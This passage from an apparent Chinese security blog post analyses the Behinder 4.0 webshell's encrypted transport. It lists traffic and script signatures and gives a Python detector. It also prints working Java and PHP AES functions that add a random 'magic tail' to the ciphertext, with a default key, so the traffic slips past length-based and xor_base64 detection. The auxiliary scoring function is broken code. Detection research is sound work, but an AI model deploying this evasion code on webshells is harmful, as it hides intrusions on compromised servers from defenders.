- • 4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
- • 5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。
响应内容略,在上文中已经提到过。
由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为 Java、PHP、C#、ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。
如下是一个最简单的 php 版本的传输协议:
编辑
传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在 shell.php 中存在一个 Decrypt() 函数,且每一次的发包中有 encrypt() 函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此)
针对冰蝎 xor_base64 的检测脚本编写内容是基于 LiRiu 师傅的文章写的
- • 我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。
因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求 phpinfo() 时的包
针对一些 HTTP 头的检测
编辑
HTTP 请求头
它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点
Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: identityAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。
Content-Length 较大
Content-Length: 8244
可以作为辅助特征进行检测。
冰蝎通讯默认使用长连接
造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。
Connection: Keep-Alive
端口检测
冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。
针对恶意脚本内容的检测
冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting 开头
@error_reporting(0); function main
编辑
所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个 xor_base64,单纯检测恶意脚本的 python 程序如下
- from base64 import b64decode
- phrases = [
- "assert|eval(base64_decode('".encode(),
- b'<?\n@error_reporting(0);\n\nfunctio',
- b'<?\nfunction main($action, $remot',
- b'<?\n@error_reporting(0);\nset_time',
- b'\nerror_reporting(0);\n\nfunction m',
- b'<?\n@error_reporting(0);\n\n\nfuncti',
- b'<?\nerror_reporting(0);\nfunction ',
- b'@error_reporting(0);\nfunction ma',
- b'<?php\n\n$taskResult = array();\n$p',
- b"<?\nerror_reporting(0);\nheader('C",
- b'@error_reporting(0);\n\nfunction g',
- b'<?\n@error_reporting(0);\n@set_tim',
- ]
- def xor(l0, l1):
- ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]
- return "".join(ret)
-
- def check(cipher):
- cipher = b64decode(cipher)
- for phrase in phrases:
- p0 = phrase[0:16]
- p1 = phrase[16:]
-
- c0 = cipher[0:16]
- c1 = cipher[16:16+len(p1)]
- k0 = xor(p0, c0)
- k1 = xor(p1, c1)
- if k1 in k0:
- return k0
- return None
- cipher = "..."
- HeaderData = "..."
- key = check(cipher)
- if key:
- print("[+]", cipher[:32], "is XOR Behinder Request!")
- print("[+] The Key of Behinder is ", key)
- else:
- print("[-]", cipher[:32], "not Behinder Request..")
复制代码
接着加上辅助判断
def auxiliaryPoints(HeaderData): # 辅助判断的函数 evilPoint = 0 list = [] LightBlacklist = [ b'Accept: application/json, text/javascript, */*; q=0.01', b'Accept-Encoding: identity', b'Connection: Keep-Alive', ] for temp in HeaderData: list.append(temp) lenData = 0 while lenData <= HeaderData.length(): if(list[lenData].contains(LightBlacklist)): evilPoint = evilPoint + 10 return evilPoint
编辑
LiRiu 师傅的可以,但是我自己的包失败了。。
冰蝎马的改写与绕过 tips冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。
加密算法
本地默认的 aes 传输协议加密算法如下:
- private byte[] Encrypt(byte[] data) throws Exception
- {
- String key="e45e329feb5d925b";
- byte[] raw = key.getBytes("utf-8");
- javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
- javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
- cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
- byte[] encrypted = cipher.doFinal(data);
- Class baseCls;
- try
- {
- baseCls=Class.forName("java.util.Base64");
- Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
- encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
- }
- catch (Throwable error)
- {
- baseCls=Class.forName("sun.misc.BASE64Encoder");
- Object Encoder=baseCls.newInstance();
- String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
- result=result.replace("\n", "").replace("\r", "");
- encrypted=result.getBytes();
- }
- return encrypted;
- }
复制代码
服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组
修改后本地:
- private byte[] Encrypt(byte[] data) throws Exception
- {
- String key="e45e329feb5d925b";
- byte[] raw = key.getBytes("utf-8");
- javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
- javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
- cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
- byte[] encrypted = cipher.doFinal(data);
- Class baseCls;
- try
- {
- baseCls=Class.forName("java.util.Base64");
- Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
- encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
- }
- catch (Throwable error)
- {
- baseCls=Class.forName("sun.misc.BASE64Encoder");
- Object Encoder=baseCls.newInstance();
- String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
- result=result.replace("\n", "").replace("\r", "");
- encrypted=result.getBytes();
- }
- //增加魔法尾巴
- int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
- java.util.Random random=new java.util.Random();
- byte[] buf=new byte[magicNum];
- for (int i=0;i<buf.length;i++)
- {
- buf[i]=(byte)random.nextInt(256);
- }
- java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
- output.write(encrypted);
- output.write(buf);
- return output.toByteArray();
- }
复制代码
远程
由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下:
function Encrypt($data) { $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING)); $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度 for($i=0;$i<$magicNum;$i++) { $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴 } return $encrypted; }
解密算法
在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。
本地
private byte[] Decrypt(byte[] data) throws Exception{ String k="e45e329feb5d925b"; int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度 data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES")); byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)}); } return c.doFinal(decodebs);}
远程
function Decrypt($data) { $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度 $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING); }
从理论上来说,这一种方式也可以绕过 xor_base64 的检测
0x05 小结对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。
而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击
0x06 Referencehttps://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A https://liriu.life/PHP-5ba36e
|
|